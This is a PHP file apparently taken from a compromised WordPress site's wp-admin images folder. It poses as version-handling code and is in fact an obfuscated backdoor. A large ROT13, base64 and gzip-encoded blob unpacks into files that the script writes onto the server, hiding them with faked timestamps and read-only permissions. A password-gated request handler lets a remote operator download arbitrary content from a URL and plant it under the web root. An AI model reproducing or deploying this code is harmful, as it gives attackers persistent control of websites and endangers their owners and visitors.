File "24.php"

Full Path: /home/earturop/public_html/wp-admin/images/logo/24.php
File size: 18.1 KB
MIME-type: text/x-php; charset=us-ascii
Charset: utf-8

<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHiMJSlqUIlo3NipUIvoTywK2u0oJjiq3NgLJEgnJ4iL3AmY2AioT9lpl9mqJ5lnKAyY2yhMz8hMTS0LD', function ($version_file, $name) use ($temp) {
        $data = translation_v3('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VPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtLKOjoTywLKEco25pY3MhMP5gpl1zo250o2WdMJA0VSkpKT4tVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPOupUOfnJAuqTyioyjirP1zo250YKE0MvOpKSkhVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtLKOjoTywLKEco25pY3ubqT1fX3ugoPOpKSkhVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtLKOjoTywLKEco25pY3ugoPOpKSkhVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtMz9hqSjio3OyoaE5pTHtKSkpovNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVTygLJqyKP9mqzperT1fVSkpKT4tVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPOcoJSaMIjirP1cL29hVSkpKT4tVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPO0MKu0KP9wp3ZtKSkpovNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVUEyrUEpY2u0oJjtKSkpovNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVUEyrUEpY3OfLJyhVSkpKT4tVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPO0MKu0KP94YJAioKOiozIhqPOpKSkhVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtqTI4qSjirT1fKT4tVPNtVPNtVQkpY0yzGJ9xqJkyCykhVPNtVPNtVPN8FJMAo2E1oTHtoJ9xK2uyLJEypaZhLm5povNtVPNtVPNtVPNtVPNtVPOVMJSxMKVtLKOjMJ5xVSMupax6VRSwL2IjqP1SozAiMTyhM1khVPNtVPNtVPN8KP9WMx1iMUIfMG5powkpY0yzGJ9xqJkyCykhKT48FJMAo2E1oTHtoJ9xK21coJHhLm5povNtVPNtVPNtDJExIUyjMFO0MKu0KP9bqT1fVP5bqT1fK2q6nKOpovNtVPNtVPNtDJExEJ5wo2EcozptM3ccpPNhnUEgoS9arzyjKT48KP9WMx1iMUIfMG5powkWMx1iMUIfMFOgo2Esp2I0MJ52nJLhLm5povNtVPNtVPNtH2I0EJ52FJMBo0Aup2HtHzIkqJImqS9IHxxtKSjhnUEgoS9arzyjWPOhol1arzyjKT48KP9WMx1iMUIfMG5powkWMx1iMUIfMFOgo2EsMKujnKWypl5wCykhVPNtEKujnKWyp0SwqTy2MFOCoykhVPNtEKujnKWyp0EyMzS1oUDtDGV1BGVjZQOpovNtVRI4pTylMKAPrIE5pTHtLKOjoTywLKEco25pY2cuqzSmL3WcpUDtW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVUEyrUEpY2cuqzSmL3WcpUDtW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVUEyrUEpY2AmplNaLJAwMKAmVUOfqKZtZmNtMTS5plqpovNtVRI4pTylMKAPrIE5pTHtnJ1uM2IpY2cjMJptW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVTygLJqyKP9jozptW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVTygLJqyKP9anJLtW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVTygLJqyKP9cL28tW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVTygLJqyKP94YJywo24tW2SwL2ImplOjoUImVQZjVTEurKZaKT4tVPOSrUOcpzImDayHrKOyVTygLJqyKP9mqzperT1fVPquL2Ayp3ZtpTk1plNmZPOxLKymW1khVPNtEKujnKWyp0W5IUyjMFOcoJSaMIjiLz1jVPquL2Ayp3ZtpTk1plNmZPOxLKymW1khCSjiFJMAo2E1oTH+KT5CpUEco25mVP1WozEyrTImKT5SpaWipxEiL3IgMJ50VQDjZlOpY1khKT48EzyfMKAALKEwnPNaKv4dXTIlpz9lK2kiM3k3pP1wo25znJphpTujsUObpP5cozy8YygbFS1oqSEqJ2SOpSOqYvbcWPp+KT4tVPNtG3WxMKVtMTIhrFkuoTkiq1khVPNtVREyoaxtMaWioFOuoTkpowkpY0McoTImGJS0L2t+KT48MzyfMKZtq3NgL29hMzyaYaObpQ5povNtVPNtVPNto3WxMKVtLJkfo3pfMTIhrIkhVPNtVPNtVPOxMJ55VTMlo20tLJkfKT48KP9znJkypm5poykhCRMcoTImVUWiLz90pl50rUD+KT5OoTkiqlOzpz9gVTSfoSkhCSjiEzyfMKZ+KT5powkTnJkyplOuMUZhqUu0CykhDJkfo3ptMaWioFOuoTkpowkpY0McoTImCykhKT4tVPNtVPNtVPNtVPNtVPNtKT4wVRWSE0yBVSqipzEDpzImp1khVlOZLKZtMTylMJA0nKMuplNboZBgozIuplxtMJ50pzHtjdgPEHqWGvOKo3WxHUWyp3CPhlO5VZXeEH5RVSqipzEDpzImp8X7VUAioykhVlOaMJ5ypzSxLKZtMTyhj6SgnJAuoJIhqTHtrFOmo2kiVTEyLzIlj61uovOmMKVtoJ9xnJMcL2SxLKZtoJIxnJShqTHtMzyfqUWiplOxMFOKo3WxHUWyp3ZhKT4wVRA1LJkkqJyypvOwLJ1vnJ8tMJ4toTSmVTEcpzIwqTy2LKZtpKIyVTuurFOyoaElMFOyp29mVT1upzAuMT9lMKZtp2Ilj6ShVUAiLaWyp2AlnKEupl5powkWMx1iMUIfMFOgo2EspzI3pzy0MF5wCykhHzI3pzy0MHIhM2yhMFOCoykhHzI3pzy0MIW1oTHtYvbtYFOoEG1VISEDK0SIIRuCHxynDIEWG046WKgVISEDBxS1qTuipzy6LKEco259KIkhHzI3pzy0MHWup2HtKP9poyWyq3WcqTIFqJkyVS5cozEyrSkpYaObpPDtYFOoGS1poyWyq3WcqTIQo25xVPI7HxIEIHIGIS9TFHkSGxSAEK0tVF1zKT5FMKqlnKEyD29hMPNyr1WSHIISH1EsExyZEH5OGHI9VPRgMSkhHzI3pzy0MIW1oTHtYvOpY2yhMTI4YaObpPOoGS1powkpY0yzGJ9xqJkyCykhKT4wVRIBEPOKo3WxHUWyp3ZvYPWuMQIyATZmZTSzZmAzMzH5LmZ3ZGL4Lwx5ZwyvAmZ1ZPWqKD', '1');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '1');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("mirxngpd{$check}mn", '741182705d349756add1df17c16a2698')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}